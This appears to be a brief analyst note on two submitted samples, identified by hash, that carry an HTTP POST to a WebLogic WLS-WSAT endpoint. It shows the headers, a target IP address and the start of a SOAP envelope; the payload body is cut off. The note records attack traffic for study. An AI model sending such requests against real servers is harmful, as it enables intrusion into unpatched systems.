came across submissions (7d5819a2ea62376e24f0dd3cf5466d97bbbf4f5f730eb9302307154b363967ea, 2a69e46094d0fef2b3ffcab73086c16a10b517f58e0c1f743ece4f246889962b) with a header such as:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 90.147.64.54:80
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
Connection: Close
Content-Type: text/xml
Content-Length: 1214
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>...
